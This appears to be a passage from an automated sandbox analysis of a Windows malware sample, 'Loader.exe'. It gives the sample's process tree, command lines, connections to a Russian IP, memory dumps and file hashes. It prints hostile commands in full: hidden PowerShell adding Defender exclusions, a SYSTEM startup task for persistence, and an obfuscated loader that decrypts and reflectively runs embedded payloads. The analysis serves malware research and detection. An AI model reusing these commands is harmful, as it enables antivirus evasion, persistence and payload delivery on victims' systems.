PID 1932 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 1932 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 2732 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2732 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2732 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1932 wrote to memory of 2700 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 2700 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 2700 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\ProgramData\driver1.exe
PID 1932 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\ProgramData\driver1.exe
PID 1932 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\ProgramData\driver1.exe
PID 1932 wrote to memory of 2836 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 1932 wrote to memory of 2836 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 1932 wrote to memory of 2836 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\cmd.exe
PID 2836 wrote to memory of 1768 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2836 wrote to memory of 1768 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2836 wrote to memory of 1768 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1768 wrote to memory of 1904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1768 wrote to memory of 1904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1768 wrote to memory of 1904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1768 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1768 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1768 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1768 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1932 wrote to memory of 1028 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\schtasks.exe
PID 1932 wrote to memory of 1028 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\schtasks.exe
PID 1932 wrote to memory of 1028 N/A C:\Users\Admin\AppData\Local\Temp\Loader.exe C:\Windows\system32\schtasks.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Loader.exe

"C:\Users\Admin\AppData\Local\Temp\Loader.exe"

C:\Windows\system32\cmd.exe

cmd /C "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\""

C:\ProgramData\driver1.exe

C:\ProgramData\driver1.exe

C:\Windows\system32\cmd.exe

cmd /c C:\ProgramData\driver2.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\ProgramData\driver2.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\ProgramData\driver2.cmd';$AqEi='CrsqtpesqtpatsqtpeDesqtpcrsqtpyptsqtposqtprsqtp'.Replace('sqtp', ''),'FrCJbRoCJbRmBaCJbRseCJbR64CJbRStCJbRriCJbRnCJbRgCJbR'.Replace('CJbR', ''),'InTTXMvokTTXMeTTXM'.Replace('TTXM', ''),'EnfaNStryfaNSPoifaNSnfaNStfaNS'.Replace('faNS', ''),'ChMkDfanMkDfgeMkDfExtMkDfensMkDfioMkDfnMkDf'.Replace('MkDf', ''),'LonQgGanQgGdnQgG'.Replace('nQgG', ''),'MbgpxaibgpxnMbgpxobgpxdulbgpxebgpx'.Replace('bgpx', ''),'REtcKeEtcKadLEtcKinEtcKesEtcK'.Replace('EtcK', ''),'ElzFDsemzFDsezFDsnzFDstAzFDstzFDs'.Replace('zFDs', ''),'CenWEopenWEyenWEToenWE'.Replace('enWE', ''),'GeEAEWtCuEAEWrrEAEWenEAEWtPEAEWroEAEWcEAEWeEAEWsEAEWsEAEW'.Replace('EAEW', ''),'SpOMiiliOMiitOMii'.Replace('OMii', ''),'TrNYnSanNYnSsNYnSfNYnSorNYnSmNYnSFNYnSinaNYnSlBlNYnSocNYnSkNYnS'.Replace('NYnS', ''),'DecKPNcocKPNmpcKPNrcKPNesscKPN'.Replace('cKPN', '');powershell -w hidden;function CpemN($DYVvD){$uCDxz=[System.Security.Cryptography.Aes]::Create();$uCDxz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uCDxz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uCDxz.Key=[System.Convert]::($AqEi[1])('hwWmx8yZnmhBXTUujLmUilT/inW7ASWUfza/yiGaTE0=');$uCDxz.IV=[System.Convert]::($AqEi[1])('1shh+Csacdi2MAxWoHL6Vw==');$WrKXJ=$uCDxz.($AqEi[0])();$lQEbS=$WrKXJ.($AqEi[12])($DYVvD,0,$DYVvD.Length);$WrKXJ.Dispose();$uCDxz.Dispose();$lQEbS;}function Vaeom($DYVvD){$ufaBC=New-Object System.IO.MemoryStream(,$DYVvD);$fvcwX=New-Object System.IO.MemoryStream;$KxhFO=New-Object System.IO.Compression.GZipStream($ufaBC,[IO.Compression.CompressionMode]::($AqEi[13]));$KxhFO.($AqEi[9])($fvcwX);$KxhFO.Dispose();$ufaBC.Dispose();$fvcwX.Dispose();$fvcwX.ToArray();}$oYEdq=[System.IO.File]::($AqEi[7])([Console]::Title);$sExPv=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 5).Substring(2))));$uYvCe=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 6).Substring(2))));[System.Reflection.Assembly]::($AqEi[5])([byte[]]$uYvCe).($AqEi[3]).($AqEi[2])($null,$null);[System.Reflection.Assembly]::($AqEi[5])([byte[]]$sExPv).($AqEi[3]).($AqEi[2])($null,$null); "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\schtasks.exe

schtasks /create /tn WinDriver /tr C:\ProgramData\Microsoft\WinDriver.cmd /sc onstart /ru SYSTEM

Network

Country Destination Domain Proto
RU 77.221.156.90:25565 77.221.156.90 tcp
RU 77.221.156.90:25565 77.221.156.90 tcp
RU 77.221.156.90:25565 77.221.156.90 tcp

Files

memory/2700-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

memory/2700-5-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

memory/2700-6-0x0000000002700000-0x0000000002780000-memory.dmp

memory/2700-7-0x0000000002460000-0x0000000002468000-memory.dmp

memory/2700-10-0x0000000002700000-0x0000000002780000-memory.dmp

memory/2700-9-0x0000000002700000-0x0000000002780000-memory.dmp

memory/2700-8-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

memory/2700-11-0x0000000002700000-0x0000000002780000-memory.dmp

memory/2700-12-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 64a7059321c6889d4162230fc7417dee
SHA1 55ec49e0949eeee3e2f6ea055abcfd98cb460cae
SHA256 7ae8a07ee9681fa55c972c2bd9bdb7a4e488872ca46dbf9675e3b8a06336c583
SHA512 fb8261312071b2c292bbb4ee97a8f86326997014071b5ab178e468221e4697e8b4e248e3735a617310db4964a37129cce298738f0b4f078deebffbd88e3c2cc7

memory/2528-18-0x000000001B1A0000-0x000000001B482000-memory.dmp

memory/2528-19-0x000007FEF4750000-0x000007FEF50ED000-memory.dmp

memory/2528-21-0x0000000002560000-0x0000000002568000-memory.dmp

memory/2528-20-0x0000000002810000-0x0000000002890000-memory.dmp

memory/2528-22-0x000007FEF4750000-0x000007FEF50ED000-memory.dmp

memory/2528-25-0x0000000002810000-0x0000000002890000-memory.dmp

memory/2528-24-0x0000000002810000-0x0000000002890000-memory.dmp

memory/2528-23-0x0000000002810000-0x0000000002890000-memory.dmp

memory/2528-26-0x000007FEF4750000-0x000007FEF50ED000-memory.dmp

\ProgramData\driver1.exe

MD5 eb93f3965887e8796917d34d40c0869d
SHA1 10976e4bc2a7d412550048c06def0b0ebba77eb6
SHA256 31d452a1ae5637cd3127e7a2e4e8de9771ea1d4e2fa34cddfdd9f90b73d098a5
SHA512 b743c9ef3fe72f7e79c16929ee6d00cd4a0961309ea73f12b599bf5217b271bef61ac1981fed8a2b48187c5ad8ca18d572d7076d335f0440c52f77f47cd81281

C:\ProgramData\driver2.cmd

MD5 d14ef6e6b689c92514b92b7865f622c6
SHA1 03a0aaafd831d9c07784744e0358b83e506402ab
SHA256 2d68dffce5555c659fb1de2b4d1e28597667ddefd6c99844ee5a346adcf0d036
SHA512 87754c793b4abc0066588cf60cff7b763090e2680aa3bc889e9f36ecaee28f18ea0ab1bb37d7049781079197237d83bb0995b61caa87888df4556ae921973d0c

memory/1708-43-0x0000000073B20000-0x00000000740CB000-memory.dmp

memory/1708-44-0x0000000073B20000-0x00000000740CB000-memory.dmp

memory/1708-45-0x00000000026D0000-0x0000000002710000-memory.dmp

memory/1708-46-0x00000000026D0000-0x0000000002710000-memory.dmp

memory/1708-47-0x0000000073B20000-0x00000000740CB000-memory.dmp

memory/1708-49-0x00000000026D0000-0x0000000002710000-memory.dmp

memory/1708-50-0x00000000026D0000-0x0000000002710000-memory.dmp

memory/1708-51-0x00000000026D0000-0x0000000002710000-memory.dmp